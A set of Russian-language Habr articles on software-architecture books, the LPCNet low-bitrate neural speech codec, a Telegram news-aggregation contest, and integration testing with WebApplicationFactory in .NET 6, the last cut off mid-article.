Примечание: все примеры в книге — на Java, но это не играет роли. Если вы, например, PHP-разработчик, то небольшая разница в синтаксисе не помешает понять суть.
**Роберт Мартин
"Чистая Архитектура. Искусство разработки программного обеспечения"***О принципах низкоуровневого программирования с позиции общей архитектуры*
Благодаря этой книге я начал по-другому воспринимать принципы программирования. Везде пишут, что класс должен отвечать за что-то конкретное — ни больше ни меньше. На самом деле принцип звучит по-другому: у класса должна быть одна причина для изменения.
То же касается и архитектуры. Автор рассматривает компонентный подход: как архитектуру разбивать на компоненты, что такое независимость, границы, уровни, политики, бизнес-правила. Здесь же разбор парадигм, нюансы и отличия структурного, объектно-ориентированного, функционального программирования. Мы все знаем, что такое инкапсуляция, наследование, полиморфизм. Но вы знали, что эти понятия существовали и до объектно-ориентированного программирования? Автор доказывает это реальными примерами.
Как оценить эффективность архитектуры? Казалось бы, философский вопрос, но в этой книге вы найдете конкретные цифры и формулы. Очень полезно разработчикам, которые создают систему с нуля. Многие моменты о том, как правильно проектировать архитектуру, встают на свои места.
> **Архитектура — это не количество серверов и схема их расположения (это топология). Монолит, микросервис или сервис — это тоже не архитектура. Архитектура — это разделение слоев, уровней и вариантов их использования таким образом, чтобы их оставалось как можно больше. Чтобы мы в любой момент могли поменять базу данных, добавить мобильное приложение к веб-сайту без особых усилий.**
>
>
Предметная область, бизнес-правила — это верхнеуровневые абстракции. Следом идут варианты использования — само приложение. А база данных, фреймворк, веб- или натив, это все детали. Правильно спроектированная программная система не зависит от того, будет ли это веб-приложение или мобильное, нативное, консольное и т. д. Это всего лишь средства ввода и вывода, это низкоуровневое. И чем ниже этот уровень, чем ближе к средствам ввода и вывода, тем менее значимая это деталь.
Книга легко читается, автор ведет диалог с читателем, добавляет юмор и наглядные примеры. Интересно читать о развитии сферы: как в 70-е “большие данные” обрабатывали с помощью перфокарт, а профессия считалась женской — треть разработчиков были женщины.
**Эрик Эванс
"Предметно-ориентированное проектирование, структуризация сложных программных систем**"
*Для разработчиков крупных систем о бизнес-логике и важности прямого контакта с клиентом*
Эрик Эванс первым формализовал Domain-driven design. Задача ООП — построить упрощенную модель реального мира, его устройства с определенными оговорками. В основе этой методологии лежит единый язык и ограниченные контексты, а уже потом шаблоны, стратегии, тактики и т. д.
Для описания мира существуют разные методы моделирования: математика, графы, системы дифференциальных уравнений. Например, модель «хищник-жертва» отражает, как меняется численность хищников и жертв в природе. Это система дифференциальных уравнений показывает корреляцию двух графиков — когда появляется больше хищников, становится меньше жертв, и наоборот.
Разработать программу, отражающую модель реального мира, только сначала кажется сложно. На самом деле не нужны ни комментарии, ни документация — открываешь код и видишь реальное поведение реальных объектов. Здесь очень важно знать, как действует предметная область программы.
Возвращаемся к тому, что разработчик не должен общаться с внешним миром через тимлида или менеджера, не зная заказчика проекта в лицо. Важно тесно общаться с экспертами предметной области, использовать терминологию заказчика. Чем больше программисты командно погружаются в предметную область, тем лучше.
Например, одно и то же понятие в банковской и в бухгалтерской сферах может обозначать разные вещи. У меня есть хороший пример, на одном из проектов было понятие «офис продаж». С одной стороны — это реальное помещение, где стоят продавцы. В другом контексте — это регион, адрес, элемент регионального дерева, по которому фильтруются документы. А в третьем — это еще и учетная запись, так как учетка есть не только у каждого сотрудника, но и у общего офиса продаж.
Не нужно пытаться соединить эти объекты, это разные сущности. Правильно будет их разграничить и выделить контексты: контекст региональности, контекст управления доступами, контекст географии торговых точек. Эта книга отлично объясняет, как наладить контакт между ограниченными контекстами.
Также в ней собрано много паттернов, что такое factory, репозиторий, агрегаты, какие есть службы, когда использовать службы, объекты значения, сущности — расписано на примерах.
*Примечание: советую повторить UML, так как в книге много диаграмм.*
**Вон Вернон
"Реализация методов предметно-ориентированного проектирования"***Domain-Driven Design на примере вымышленного стартапа*
В этой книге больше практики. Через всю книгу проходит история команды вымышленного стартапа, которая с нуля разрабатывает ERP-систему. На пути они встречают разнообразные сложности. В каждой главе есть сноска — как команда решает вопрос, что откладывает на ближайшую перспективу и почему.
Далее рассматривает сущности, вплоть до мелочей. Например, уникальный идентификатор — какой он должен быть и как его правильно делать? Есть много интересных моментов. Какие есть объекты значений, как это связывается с URN. Примеры написаны на Java, но без труда можно интерпретировать на свой язык.
Приводится удобная классификация интеграций ограниченных контекстов. Какие бывают способы интеграции между системами, контекстами «заказчик — поставщик», служба с открытым протоколом, общедоступный язык. Часто бывает, что команды разработки неправильно взаимодействуют. К примеру, первая команда работает по принципу «заказчик-поставщик», а вторая совсем по-другому. У них разные ожидания и сложно договориться. Важно на ранних этапах выяснять все вопросы и выбрать стратегию.
*Примечание: в издании «Диалектика» плохой перевод, есть логические ошибки, поэтому лучше читать в оригинале.*
Вместо заключения
-----------------
Эти книги – отличный пример “настольных” руководств. Они не расскажут “как”, а объяснят – “почему” и “для чего”. Зная ответ на фундаментальные, пусть и кажущиеся абстрактными, вопросы, вы сможете решать конкретные проблемы разработки самостоятельно и осознанно. | https://habr.com/ru/post/700838/ | null | ru | null |
# Кодирование речи на 1600 бит/с нейронным вокодером LPCNet
Это продолжение [первой статьи о LPCNet](https://people.xiph.org/~jm/demo/lpcnet/). В первом демо мы представили [архитектуру](https://jmvalin.ca/papers/lpcnet_icassp2019.pdf), которая сочетает обработку сигналов и глубокое обучение для повышения эффективности нейронного синтеза речи. На этот раз превратим LPCNet в нейронный речевой кодек с очень низким битрейтом (см. [научную статью](https://jmvalin.ca/papers/lpcnet_codec.pdf)). Его можно использовать на текущем оборудовании и даже на телефонах.
Впервые нейронный вокодер работает в реальном времени на одном процессорном ядре телефона, а не на высокоскоростном GPU. Итоговый битрейт 1600 бит/с примерно в десять раз меньше, чем выдают обычные широкополосные кодеки. Качество намного лучше, чем у существующих вокодеров с очень низким битрейтом и сопоставимо с более традиционными кодеками, использующими более высокий битрейт.
### Кодеры формы сигналов и вокодеры
Есть два больших типа речевых кодеков: кодеры формы сигналов (waveform coder) и вокодеры. Кодеры формы сигналов включают Opus, AMR/AMR-WB и все кодеки, которые могут применяться для музыки. Они пытаются обеспечить декодированную форму волны как можно ближе к оригиналу — обычно с учётом некоторых перцептивных особенностей. С другой стороны, вокодеры — это на самом деле синтезаторы. Энкодер извлекает информацию о высоте звука и форме речевого тракта, передаёт эту информацию в декодер, а тот заново синтезирует речь. Это почти как распознавание речи с последующим чтением текста в синтезаторе речи, за исключением того, что энкодер текста намного проще/быстрее, чем распознавание речи (и передаёт немного больше информации).
Вокодеры существуют с 70-х годов, но поскольку их декодеры выполняют синтез речи, они не могут быть намного лучше, чем обычные системы речевого синтеза, которые до недавнего времени звучали просто ужасно. Вот почему вокодеры обычно использовались на скоростях ниже 3 КБ/с. Кроме того, кодеры формы сигналов просто обеспечивают лучшее качество. Так продолжалось до недавнего времени, когда появились нейронные системы синтеза речи, такие как [WaveNet](https://deepmind.com/blog/wavenet-generative-model-raw-audio/). Внезапно синтез начал звучать намного лучше, и, конечно, появились желающие [сделать вокодер из WaveNet](https://arxiv.org/pdf/1712.01120.pdf).
### Обзор LPCNet
WaveNet производит очень качественную речь, но требует сотен гигафлопс вычислительной мощности. LPCNet значительно снизил сложность вычислений. Вокодер основан на WaveRNN, которая улучшает WaveNet с помощью рекуррентной нейронной сеть (RNN) и разреженных матриц. LPCNet дополнительно улучшает WaveRNN с помощью [линейного предсказания](https://en.wikipedia.org/wiki/Linear_prediction) (LPC), которое хорошо себя проявило в старых вокодерах. Оно предсказывает сэмпл по линейной комбинации предыдущих сэмплов и, самое главное, делает это многократно быстрее нейронной сети. Конечно, оно не универсально (иначе вокодеры 70-х звучали бы здорово), но может серьёзно снизить нагрузку на нейросеть. Это позволяет использовать сеть меньшего размера, чем WaveRNN, без ущерба для качества.
*Более подробно рассмотрим LPCNet. Жёлтая часть слева вычисляется один раз на фрейм, а её выход используется для сети частоты дискретизации справа (синяя). Вычислительный блок предсказывает сэмпл в момент времени t на основе предыдущих сэмплов и коэффициентов линейного предсказания*
Характеристики компрессии
=========================
LPCNet синтезирует речь из векторов по 20 признаков на каждый фрейм по 10 мс. Из них 18 признаков — это [кепстральные](https://en.wikipedia.org/wiki/Cepstrum) коэффициенты, представляющие форму спектра. Два оставшихся описывают высоту: один параметр для шага высоты (pitch period), а другой для *силы* (насколько сигнал коррелирует с самим собой, если ввести задержку на шаг высоты). Если хранить параметры в виде значений с плавающей запятой, то вся эта информация занимает до 64 кбит/с при хранении или передаче. Это слишком много, ведь даже кодек Opus обеспечивает очень качественное кодирование речи всего на 16 кбит/с (для 16 кГц моно). Очевидно, нужно применить здесь сильную компрессию.
### Высота
Все кодеки в значительной степени полагаются на высоту тона, но в отличие от кодеров формы волны, где высота «просто» помогает уменьшить избыточность, у вокодеров нет запасного варианта. Если неправильно подобрать высоту, они начнут генерировать плохо звучащую (или даже неразборчивую) речь. Не вдаваясь в подробности (см. научную статью), энкодер LPCNet изо всех сил пытается не ошибиться по высоте. Поиск начинается с поиска *корреляций* по времени в речевом сигнале. См. ниже, как работает типичный поиск.
*Шаг высоты — это период, в течение которого сигнал шага повторяется. На анимации происходит поиск шага, который соответствует максимальной корреляции между сигналом x(n) и его копией x(n-T) с задержкой. Значение T с максимальной корреляцией является шагом высоты*
Эту информацию нужно закодировать как можно меньшим количеством битов, не слишком ухудшая результат. Поскольку мы по природе воспринимаем частоту в логарифмической шкале (например, каждая музыкальная октава удваивает предыдущую частоту), есть смысл в логарифмическом кодировании. Высота речевого сигнала у большинства людей (мы не пытаемся здесь покрыть сопрано) находится между 62,5 и 500 Гц. С семью битами (128 возможных значений) мы получаем разрешение около четверти тона (разница между и до и ре — один тон).
Итак, с высотой закончили? Ну, не так быстро. Люди говорят не как роботы из фильмов 1960-х. Высота голоса может меняться даже в рамках 40-миллисекундного пакета. Нужно это учесть, оставив биты для параметра изменения высоты: 3 бита для кодирования разницы до 2,5 полутонов между началом и концом пакета. Наконец, нужно закодировать корреляцию шагов высоты, различая гласные и согласные (например, s и f). Для корреляции достаточно двух битов.
### Кепстр
В то время как высота содержит внешние характеристики речи (просодия, эмоции, акцент,...), спектральная характеристика определяет, *что* именно было сказано (за исключением тональных языков, таких как китайский, где высота важна для смысла). Голосовые связки производят примерно одинаковый звук для любой гласной, но форма голосового тракта определяет, какой звук будет произнесён. Голосовой тракт действует как фильтр, и задача энкодера — оценить этот фильтр и передать его декодеру. Это можно эффективно сделать, если преобразовать спектр в [кепстр](https://en.wikipedia.org/wiki/Cepstrum) (да, это «спектр» с изменённым порядком букв, вот такие мы весёлые ребята в цифровой обработке сигналов).
Для входного сигнала на 16 кГц кепстр в основном представляет вектор из 18 чисел каждые 10 мс, которые нужно сжать как можно сильнее. Поскольку у нас в пакете на 40 мс четыре таких вектора и они обычно похожи друг на друга, мы хотим максимально устранить избыточность. Это можно сделать, используя соседние векторы в качестве предикторов и передавая только разницу между предсказанием и реальным значением. В то же время мы не хотим слишком зависеть от предыдущих пакетов, если один из них пропадёт. Похоже, проблема уже решена…
*Если у вас есть только молоток, всё выглядит как гвоздь — Абрахам Маслоу.*
Если вы много [работали](https://xiph.org/daala/) [с видеокодеками](https://en.wikipedia.org/wiki/AV1), то наверняка встречались с понятием B-фреймов. В отличие от видеокодеков, которые разделяют кадр на множество пакетов, у нас, наоборот, много фреймов в одном пакете. Начинаем с кодирования *ключевого фрейма*, т. е. независимого вектора, и **конца** пакета. Этот вектор кодируется без предсказания, занимая 37 бит: 7 для общей энергии (первый кепстральный коэффициент) и 30 бит для остальных параметров, используя [векторное квантование](https://en.wikipedia.org/wiki/Vector_quantization) (VQ). Затем идут (иерархические) B-фреймы. Из двух ключевиков (один из текущего пакета и один из предыдущего) прогнозируется кепстр между ними. В качестве предиктора для кодирования разницы между реальным значением и предсказанием можно выбрать любой из двух ключевых кадров или их среднее значение. Мы снова применяем VQ и кодируем этот вектор, используя в общей сложности 13 бит, включая выбор предиктора. Теперь у нас остаётся только два вектора и очень мало бит. Используем последние 3 бита, чтобы просто выбрать предиктор для оставшихся векторов. Конечно, всё это гораздо легче понять на рисунке:
*Предсказание и квантование кепстра для пакета k. Зелёные векторы квантуются независимо, синие — с предсказанием, а красные используют предсказание без остаточного квантования. Предсказание показано стрелками*
### Собираем всё вместе
Сложив всё перечисленное, получаем 64 бита на 40-миллисекундный пакет или 1600 бит в секунду. Если хочется посчитать коэффициент сжатия, то несжатая широкополосная речь — это 256 кбит/с (16 кГц по 16 бит на сэмпл), что означает степень сжатия в 160 раз! Конечно, всегда можно поиграть с квантователями и получить более низкий или высокий битрейт (с соответствующим влиянием на качество), но нужно же с чего-то начать. Вот табличка с раскладом, куда уходят эти биты.
| |
| --- |
| **Распределение битов** |
| Параметр | Бит |
| Шаг высоты | 6 |
| Модуляция высоты | 3 |
| Корреляция высоты | 2 |
| Энергия | 7 |
| Независимый кепстр VQ (40 мс) | 30 |
| Предсказанный кепстр VQ (20 мс) | 13 |
| Интерполяция кепстра (10 мс) | 3 |
| Всего | 64 |
По 64 бита на пакет 40 мс, при 25 пакетах в секунду получается 1600 бит/с.
Реализация
==========
[Исходный код LPCNet](https://github.com/mozilla/LPCNet) доступен под лицензией BSD. Он включает библиотеку, которая упрощает использование кодека. Обратите внимание, что разработка не закончена: и формат, и API **обязательно** изменятся. В репозитории также есть демонстрационное приложение `lpcnet_demo`, в котором легко протестировать кодек из командной строки. Полные инструкции см. в файле README.md.
Кто хочет копнуть глубже, есть вариант обучить новые модели и/или использовать LPCNet в качестве строительного блока для других приложений, таких как синтез речи (LPCNet — это только один компонент синтезатора, он не осуществляет синтез сам по себе).
### Производительность
Нейронный синтез речи требует много ресурсов. На прошлогодней конференции ICASSP Бастиан Клейн с коллегами из Google/DeepMind представили [кодек на 2400 бит/с на основе WaveNet](https://arxiv.org/pdf/1712.01120.pdf), получающий битовый поток от codec2. Хотя это звучит потрясающе, вычислительная сложность в сотни гигафлопс означает, что его невозможно запустить в реальном времени без дорогого GPU и серьёзных усилий.
Напротив, наш кодек на 1600 бит/с производит всего 3 гигафлопса и предназначен для работы в режиме реального времени на гораздо более доступном оборудовании. Фактически, его можно прямо сегодня применять в реальных приложениях. Оптимизация потребовала написать немного кода для наборов инструкций AVX2/FMA и Neon (только встроенный код, без ассемблера). Благодаря этому мы теперь можем кодировать (и особенно декодировать) речь в режиме реального времени не только на ПК, но и на более-менее современных телефонах. Ниже приведена производительность на процессорах x86 и ARM.
| |
| --- |
| Производительность |
| CPU | Частота | % одного ядра | К реальному времени |
| AMD 2990WX (Threadripper) | 3,0 ГГц\* | 14% | 7,0x |
| Intel Xeon E5-2640 v4 (Broadwell) | 2,4 ГГц\* | 20% | 5.0x |
| Snapdragon 855 (Cortex-A76 на **Galaxy S10**) | 2,82 ГГц | 31% | 3.2x |
| Snapdragon 845 (Cortex-A75 на **Pixel 3**) | 2,5 ГГц | 68% | 1,47x |
| AMD A1100 (Cortex-A57) | 1,7 ГГц | 102% | 0,98x |
| BCM2837 (Cortex-A53 на Raspberry Pi 3) | 1,2 ГГц | 310% | 0,32x |
| \* турбо-режим | | | |
Цифры довольно интересные. Хотя показаны только Broadwell и Threadripper, на платформе x86 у процессоров Haswell и Skylake похожая производительность (с учётом тактовой частоты). Однако процессоры ARM заметно отличаются друг от друга. Даже с учётом разницы в частоте A76 в пять-шесть раз быстрее A53: вполне ожидаемо, поскольку A53 в основном используется для энергоэффективности (например, в системах big.LITTLE). Тем не менее, LPCNet вполне может работать в режиме реального времени на современном телефоне, используя только одно ядро. Хотя было бы неплохо запустить его в реальном времени и на Raspberry Pi 3. Сейчас до этого далеко, но нет ничего невозможного.
На x86 по прежнему остаётся загадкой причина ограничения производительности в пять раз от теоретического максимума. Как известно, операции умножения матрицы на вектор менее эффективны, чем матрицы на матрицу, потому что там больше загрузок за операцию — конкретно, одна загрузку с матрицы для каждой операции FMA. С одной стороны, производительность связана с кэшем L2, который предоставляет только 16 бит на цикл. С другой стороны, Intel утверждает, что L2 может дать до 32 бит на цикл на Broadwell и 64 бит на цикл на Skylake.
Результаты
==========
Мы провели аудиотесты по образцу MUSHRA, чтобы сравнить качество кодирования. Условия тестирования:
* **Образец**: оригинал (если у вас результат получается лучше, чем в оригинале, с вашем тестом явно что-то не так)
* **LPCNet на 1600 бит/с**: наше демо
* **Несжатая LPNet**: «LPNet со 122 эквивалентными единицами» из [первой статьи](https://people.xiph.org/~jm/demo/lpcnet/)
* **Opus на 9000 бит/с wideband**: самый низкий битрейт, при котором Opus 1.3 кодирует широкополосный звук
* **MELP на 2400 бит/с**: известный вокодер с низким битрейтом (похожий по качеству на codec2)
* **Speex 4000 бит/с**: этот широкополосный вокодер никогда не следует использовать, но это хороший ориентир для дна
В первом тесте (набор 1) у нас восемь речевых фрагментов высказываний от двух мужчин и двух женщин. Файлы в первом наборе относятся к той же базе данных (т. е. к тем же условиям записи), которая использовалась для обучения, но эти конкретные люди были исключены из обучающего набора. Во втором тесте (набор 2) мы использовали некоторые файлы из теста Opus (несжатые), записывая звук в разных условиях, чтобы убедиться, что LPCNet выходит на некое обобщение. В обоих тестах по 100 участников, так что погрешности довольно малы. См. результаты ниже.
*Субъективное качество (MUSHRA) в двух тестах*
В целом, LPCNet на 1600 бит/с выглядит неплохо — гораздо лучше, чем MELP на 2400 бит/с, и не сильно отставая от Opus на 9000 бит/с. В то же время несжатая LPCNet немного лучше по качеству, чем Opus на 9000 бит/с. Это значит, что возможно обеспечить лучшее качестве, чем у Opus, на битрейтах в диапазоне 2000−6000 бит/с.
### Послушайте сами
Вот образцы из аудиотеста:
Женщина (набор 1)
* [Образец](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/female1/ref.flac)
* [LPCNet 1600 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/female1/lpcnu.flac)
* [Несжатая LPNet](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/female1/lpcnq.flac)
* [Opus 9000 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/female1/opus.flac)
* [MELP 2400 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/female1/melp.flac)
* [Speex 4000 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/female1/speex.flac)
Мужчина (набор 1)
* [Образец](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/male1/ref.flac)
* [LPCNet 1600 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/male1/lpcnu.flac)
* [Несжатая LPNet](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/male1/lpcnq.flac)
* [Opus 9000 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/male1/opus.flac)
* [MELP 2400 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/male1/melp.flac)
* [Speex 4000 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/male1/speex.flac)
Смешанный (набор 2)
* [Образец](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/vec18/ref.flac)
* [LPCNet 1600 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/vec18/lpcnu.flac)
* [Несжатая LPNet](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/vec18/lpcnq.flac)
* [Opus 9000 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/vec18/opus.flac)
* [MELP 2400 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/vec18/melp.flac)
* [Speex 4000 бит/с](https://people.xiph.org/~jm/demo/lpcnet_codec/samples/vec18/speex.flac)
Где это можно использовать?
===========================
Мы считаем, что это крутая технология сама по себе, но у неё есть и практическое применение. Вот лишь некоторые варианты.
### VoIP в странах с плохой связью
Не у всех постоянно есть в наличии высокоскоростное соединение. В некоторых странах связь очень медленная и ненадёжная. Речевой кодек на 1600 бит/с нормально работает в таких условиях, даже передавая пакеты несколько раз для надёжности. Конечно, из-за накладных расходов на заголовки пакетов (40 байт для IP+UDP+RTP) лучше делать пакеты побольше: 40, 80 или 120 мс.
### Любительское/HF радио
Вот уже десять лет [Дэвид Роу](http://www.rowetel.com/?page_id=434) работает над кодированием речи для радиосвязи. Он разработал [Codec2](http://www.rowetel.com/?page_id=452), который передаёт голос на скорости от 700 до 3200 бит/с. В течение прошлого года мы с Дэвидом обсуждали, как улучшить Codec2 с помощью нейронного синтеза, и вот теперь наконец-то это сделали. В своём блоге Дэвид [написал](https://www.rowetel.com/?p=6639) о собственной реализации кодека на базе LPCNet для интеграции с [FreeDV](https://freedv.org/).
### Повышение надёжности при потере пакетов
Возможность кодировать битовый поток приличного качества в небольшом количестве бит полезна для обеспечения избыточности на ненадёжном канале. В Opus есть механизм прямой коррекции ошибок (FEC), известный как LBRR, который кодирует предыдущий фрейм с пониженным битрейтом и отправляет его в текущем фрейме. Он хорошо работает, но добавляет значительные накладные расходы. Дублирование потока на 1600 бит/с намного эффективнее.
Планы
=====
Предстоит изучить ещё много возможностей применения LPCNet. Например, улучшение существующих кодеков (того же Opus). Как и в других кодеках, качество Opus довольно быстро деградирует на очень низких битрейтах (ниже 8000 бит/с), потому что кодеку формы сигнала не хватает бит для соответствия оригиналу. Но переданной информации линейного предсказания достаточно для LPCNet, чтобы синтезировать прилично звучащую речь — лучше, чем Opus может сделать на этом битрейте. Кроме того, остальная информация, передаваемая Opus (остаточный прогноз), помогает LPCNet синтезировать ещё лучший результат. В некотором смысле LPCNet можно применить в качестве причудливого постфильтра для улучшения качества Opus (или любого другого кодека) без изменения битового потока (т. е. с сохранением полной совместимости).
Дополнительные ресурсы
======================
1. Ж.-М.Валин, Я.Скоглунд, [Широкополосный нейронный вокодер на 1,6 Кбит/с с использованием LPCNet](https://jmvalin.ca/papers/lpcnet_codec.pdf), *Отправлено в Interspeech 2019*, arXiv:[1903.12087](https://arxiv.org/abs/1903.12087).
2. Ж.-М.Валин, Я.Скоглунд, [LPCNet: улучшенный нейронный синтез речи через линейное предсказание](https://jmvalin.ca/papers/lpcnet_icassp2019.pdf), *Proc. ICASSP, 2019*, arXiv:[1810.11846](https://arxiv.org/abs/1810.11846).
3. A.ван ден Оорд, С.Дилеман, Х.Зен, К.Симонян, O.Виньялс, A.Грейвс, Н.Калхбреннер, Э.Сеньор, K.Кавукуглу, [WaveNet: генеративная модель для необработанного звука](https://arxiv.org/pdf/1609.03499.pdf), 2016.
4. Н. Карлхбреннер, Э.Эльсен, К.Симонян, С.Ноури, Н.Касагранде, Э.Локхарт, Ф.Стимберг, A.ван ден Оорд, С.Дилеман, K.Кавукуглу, [Эффективный нейронный синтез звука](https://arxiv.org/pdf/1802.08435.pdf), 2018.
5. В.Б.Клейн, Ф.С.К.Лим, А.Любс, Я.Скоглунд, Ф.Стимберг, К.Ванг, Т.С.Уолтерс, [Кодирование речи с низким битрейтом на основе Wavenet](https://arxiv.org/pdf/1712.01120.pdf), 2018
6. [Исходный код](https://github.com/mozilla/LPCNet/) LPCNet.
7. [Кодек для FreeDV на базе LPCNet](https://github.com/drowe67/LPCNet) Дэвида Роу.
8. Присоединяйтесь к обсуждению разработки на [#opus at irc.freenode.net](http://irc://irc.freenode.net/opus) (→[веб-интерфейс](https://webchat.freenode.net/?channels=opus)) | https://habr.com/ru/post/446656/ | null | ru | null |
# Telegram объявил конкурс на алгоритм ранжирования новостей с призовым фондом $100 000
Telegram продолжает традицию проведения «народных» конкурсов для своих пользователей с выплатой крупных денежных вознаграждений. На этот раз задача — создать агрегатор новостей. Раньше такую роль в рунете выполнял сервис «Яндекс.Новости», который теперь подчиняется требованиям властей и индексирует только специально отобранные источники информации.
В июне 2019 года Павел Дуров [пригласил](https://t.me/durov_russia/20) на работу в Telegram разработчиков из «Яндекса»: «Российская интернет-индустрия породила сотни талантливых разработчиков. Однако, в результате [описанной выше политики](https://t.me/durov_russia/19), сегодня они вынуждены играть в поддавки со своими зарубежными коллегами, — написал он. — В своё время мы организовали ”Ноев ковчег” для лучших разработчиков ”Вконтакте”, пригласив их на работу в Telegram. В этом году мы хотим дать такой же шанс разработчикам ”Яндекса”, которые занимаются сервисами рекомендации контента. Устройство таких сервисов, как ”Яндекс.Новости”, впечатляет в техническом отношении, однако ограничено цензурой и русскоязычным рынком».
Неизвестно, сколько разработчиков ушли из «Яндекса» в Telegram, но Дуров не отказался от идеи разработки агрегатора новостей, свободного от политической цензуры.
Конкурсантам предлагается пять заданий.
Задания конкурса
================
1. Выделение текстов на русском и английском языках. Алгоритм должен выделить все англо- и русскоязычные тексты.
2. Отделение новостей от других материалов (энциклопедических, справочных и т. д.)
3. Группировка новостей по семи тематикам:
* Society (в том числе Politics, Elections, Legislation, Incidents, Crime)
* Economy (в том числе Markets, Finance, Business)
* Technology (в том числе Gadgets, Auto, Apps, Internet services)
* Sports (в том числе E-Sports)
* Entertainment (в том числе Movies, Music, Games, Books, Arts)
* Science (в том числе Health, Biology, Physics, Genetics)
* Other (новостные статьи, не попавшие в перечисленные выше категории)
4. Группировка похожих новостей в сюжеты с выбором общего заголовка. Новости внутри сюжета должны быть отсортированы по релеватности.
5. Ранжирование сюжетов по важности. Кроме того, нужно сформировать отсортированный по релеватности список сюжетов вне зависимости от тематики.
Работы принимаются в виде standalone-приложения под названием `tgnews` с CLI-интерфейсом. Приложение запускается со следующими параметрами:
```
tgnews languages source_dir
tgnews news source_dir
tgnews categories source_dir
tgnews threads source_dir
tgnews top source_dir
```
где `source_dir` — путь до директории с HTML-файлами, содержащими тексты статей.
Приложение не должно использовать сеть, должно иметь высокую скорость работы и использовать минимум внешних зависимостей.
Для разработки участникам предлагаются два тестовых набора данных в формате HTML: [1](https://data-static.usercontent.dev/DataClusteringSample0107.tar.gz), [2](https://data-static.usercontent.dev/DataClusteringSample0817.tar.gz). В ходе конкурса будут периодически публиковаться дополнительные наборы данных. Проверка работ пройдёт на других наборах данных, в том числе с других доменов.
Возможно, объявленный конкурс поможет найти и разработчиков, и кандидатов на позиции Content Recommendation Engineer для будущего агрегатора новостей в Telegram. В прошлый раз Павел Дуров упомянул, что зарплаты в его компании «несопоставимо выше, чем в Яндекс или Google», но это не должно стать главной мотивацией: «У нас есть шанс создать первый в истории интернета эффективный и свободный агрегатор новостей, — написал он. — Технология моментального просмотра новостей Instant View уже позволяет читать новости 6000 изданий по всему миру с любого устройства, а статистика их просмотров в каждой стране позволяет алгоритмически вычислять наиболее релевантный на данный момент контент. Рекомендации статей мы можем начать с блока Recommended Articles после прочтения каждой статьи в Telegram, постепенно выведя их в отдельный сервис с ежечасной подборкой и глобальным поиском по всем новостям мира. Параллельно с рекомендацией текстов мы займёмся и рекомендацией наиболее актуальных видеозаписей». | https://habr.com/ru/post/476470/ | null | ru | null |
# Исследуем .NET 6. Часть 6. Поддержка интеграционных тестов в WebApplicationFactory
[Часть 1. ConfigurationManager](https://habr.com/ru/post/594423/)
[Часть 2. WebApplicationBuilder](https://habr.com/ru/post/594971/)
[Часть 3. Рассматриваем код WebApplicationBuilder](https://habr.com/ru/post/596207/)
[Часть 4. Создание конвейера промежуточного ПО в WebApplication](https://habr.com/ru/post/597269/)
[Часть 5. Поддержка EF Core в WebApplicationBuilder](https://habr.com/ru/post/598247/)
В [предыдущей статье](https://habr.com/ru/post/598247/) я описал обходной путь, который был добавлен в .NET 6, чтобы инструменты EF Core, которые ранее полагались на существование определённых методов, таких как `CreateHostBuilder`, продолжали работать с новыми минимальными API хостинга.
В этой статье я рассмотрю связанное изменение, обеспечивающее работу интеграционного тестирования с `WebApplicationFactory` в .NET 6. `WebApplicationFactory` использовала тот же класс `HostFactoryResolver`, что и инструменты EF Core, но потребовалось ещё несколько изменений, которые я рассмотрю в этой статье.
WebApplicationFactory в ASP.NET Core 3.x/5
------------------------------------------
Существует несколько способов протестировать приложение ASP.NET Core 3.x/5. Один из самых тщательных подходов — написание интеграционных тестов, которые запускают ваше приложение полностью в памяти. Это на удивление легко сделать с помощью пакета `Microsoft.AspNetCore.Mvc.Testing` и `WebApplicationFactory`.
Например, следующий код, судя по [документации](https://docs.microsoft.com/ru-ru/aspnet/core/test/integration-tests?view=aspnetcore-5.0#basic-tests-with-the-default-webapplicationfactory), показывает, как вы можете использовать `WebApplicationFactory` для создания экземпляра вашего приложения в памяти, создания `HttpClient` для выполнения запросов и отправки HTTP-запроса в памяти.
```
public class BasicTests : IClassFixture>
{
private readonly WebApplicationFactory \_factory;
public BasicTests(WebApplicationFactory factory)
{
\_factory = factory;
}
[Fact]
public async Task Get\_EndpointsReturnSuccessAndCorrectContentType()
{
// Arrange
var client = \_factory.CreateClient();
// Act
var response = await client.GetAsync("/");
// Assert
response.EnsureSuccessStatusCode(); // Status Code 200-299
}
}
```
Под капотом [WebApplicationFactory использует тот же HostFactoryResolver, который я описал в предыдущей статье](https://github.com/dotnet/aspnetcore/blob/f7e1712db88db4c01fcc49e5995d9528dbf608df/src/Mvc/Mvc.Testing/src/WebApplicationFactory.cs#L340-L348)\*EN. Обобщённый параметр `TEntryPoint` обычно имеет значение `Startup`, но он просто должен быть одним из типов из входной сборки, чтобы система могла найти метод `CreateHostBuilder()`:
```
public class WebApplicationFactory : IDisposable where TEntryPoint : class
{
protected virtual IHostBuilder CreateHostBuilder()
{
var hostBuilder = HostFactoryResolver.ResolveHostBuilderFactory(typeof(TEntryPoint).Assembly)?.Invoke(Array.Empty());
if (hostBuilder != null)
{
hostBuilder.UseEnvironment(Environments.Development);
}
return hostBuilder;
}
// ...
}
```
Как я описал в предыдущей статье, `HostFactoryResolver` использует рефлексию, чтобы найти методы с условными именами `CreateHostBuilder()` или `CreateWebHostBuilder()` и вызвать их. Однако в .NET 6 минимальные API хостинга и программы верхнего уровня покончили с этими соглашениями, первоначально нарушив работу `WebApplicationFactory` (так же, как и EF Core).
Построение IHost в .NET 6
-------------------------
